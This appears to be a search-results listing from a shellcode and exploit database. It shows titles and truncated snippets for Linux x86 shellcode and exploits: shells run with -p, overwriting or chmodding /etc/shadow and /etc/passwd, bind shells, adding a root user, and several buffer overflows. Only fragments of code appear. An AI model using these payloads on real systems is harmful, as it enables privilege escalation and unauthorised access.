595 matches found
Linux x86 - execve("/bin/bash","-p",NULL) - 33 bytes
No description provided by source. / Title: Linux x86 - execve/bin/bash, /bin/bash, -p, NULL - 33 bytes Author: Jonathan Salwan Mail: [email protected] Web: http://www.shell-storm.org !Database of Shellcodes http://www.shell-storm.org/shellcode/ sh sets euid, egid to uid, gid if -p not...
Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 83
No description provided by source. / | Title: Linux/x86 pwrite/etc/shadow, hash, 32, 8 Shellcode 83 Bytes | Description: replace root's password with hash of agix in MD5 | Type: Shellcode | Author: agix | Platform: Linux X86 / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-...
linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes
No description provided by source. / ============================================================================================= linux/x86 Shellcode Polymorphic - setuid0 + chmod/etc/shadow, 0666 Shellcode 61 Bytes...
Linux/x86 Remote Port Forwarding Shellcode 87 bytes
No description provided by source. / Linux/x86 Remote Port forwarding 87 bytes ssh -R 9999:localhost:22 192.168.0.226 Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom / xor %eax,%eax push %eax pushl $0x3632322e pushl $0x30302e38 push...
PHP 3.0.16/4.0.2 - Remote Format Overflow Exploit
No description provided by source. / PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau [email protected] my regards to sheib and darkx All rights reserved Pascal Boucheraine's paper was enlightening THERE IS NO...
Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
No description provided by source. / Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes Author: Jean Pascal Pereira [email protected] Web: http://0xffe4.org Disassembly of section .text: 08048060 start: 8048060: 31 c0 xor %eax,%eax 8048062: 66 b9 b6 01 mov $0x1b6,%cx 8048066: 50 push...
psyBNC <= 2.3 - Denial of Service Exploit
No description provided by source. / psyBNC = 2.3 DoS Information System Advancement in Penetration ISAP Labs By Lunar Fault ElectronicSouls C May 19, 2002 Legal Notice: In no way is ElectronicSouls, ISAP, or the author responsible for the actions or usage of this program. The author retains all...
phf buffer overflow exploit for Linux-x86
No description provided by source. / | phx.c -- phf buffer overflow exploit for Linux-ix86 | Copyright c 2000 by proton. All rights reserved. | | This program is free software; you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free...
97 bytes Linx x86 bind shell port 64533
No description provided by source. include stdio.h include string.h / 1 1 0 I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 by Magnefikko 05.07.2010 [email protected] Promhyl Studies ::...
PHP < 4.5.0 - unserialize Overflow
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
linux/x86-64 execve(/bin/sh) 52 bytes
No description provided by source. / Exploit Title : linux/x86-64 execve/bin/sh 52 bytes Tested on : Linux iron 2.6.38-8-generic 42-Ubuntu SMP Mon Apr 11 03:31:24 UTC 2011 x8664 x8664 x8664 GNU/Linux Date : 03/12/2011 Author : X-h4ck Email : [email protected] Website : http://www.pirate.al Greetz :...
linux/x86 bindport 8000 & add user with root access 225+ bytes
No description provided by source. ; ; Title : Bindport TCP/8000 & execve add user with access root ; os : Linux x86 ; size : 225+ bytes ; IP : localhost ; Port : 8000 ; Use : nc localhost 8000 ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; Web : http://www.shell-storm.org ; ; ...
Knox Software Arkeia 4.0 Backup Local Overflow
No description provided by source. / source: http://www.securityfocus.com/bid/661/info Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are...
linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes
No description provided by source. / linux/x86 quick yet conditional, eax != 0 and edx == 0 exit - 4 bytes - izik [email protected] / char shellcode = \xf7\xf0 // div %eax \xcd\x80; // int $0x80 int mainint argc, char argv int ret; ret = int &ret + 2; ret = int shellcode; // milw0rm.com 2006-01-21...
linux/x86 dup2(0,0); dup2(0,1); dup2(0,2); 15 bytes
No description provided by source. / dup2loop-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I usually combine this with an execve as the second stage of a read jmp %esp / char hellcode = / dup20,0; dup20,1; dup20,2; linux/x86 ...
linux/x86 if(read(fd,buf,512)<=2) _exit(1) else buf(); 29 bytes
No description provided by source. / h3ll-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it as a first stage payload when I desire to follow up with a real large payload of goodness. This actually is a bit larger than...
linux/x86 read(0,buf,2541); chmod(buf,4755); 23 bytes
No description provided by source. / readnchmod-core.c by Charles Stevenson [email protected] Example of strace output if you pass in /bin/sh\x00 read0, /bin/sh\0, 2541 = 8 chmod/bin/sh, 04755 = 0 Any file path can be given. For example: /tmp/.sneakyguy The only caveat is that the string must be NU...
linux/x86 write(0,"Hello core!\n",12); (with optional 7 byte exit) 36 bytes
No description provided by source. / writehello-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it to see if my dup2loop worked. If you don't get Hello core!\n back it's a good indicator your shell won't be functional the...
No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow
No description provided by source. !/usr/bin/env python Title: No-IP Dynamic Update Client DUC 2.1.9 local IPaddress stack overflow Author: Alberto Ortega @a0rtega [email protected] Date: May 11 2013 vulnerability discovered Background: No-IP is probably the most used Dynamic DNS provider...
S.u.S.E. Linux 6.2 sscw HOME Environment Variable Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/656/info A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges. !/bin/bash Linux x86 exploit for /usr/bin/sccw on SuSE 6.2 -Brock Tellier...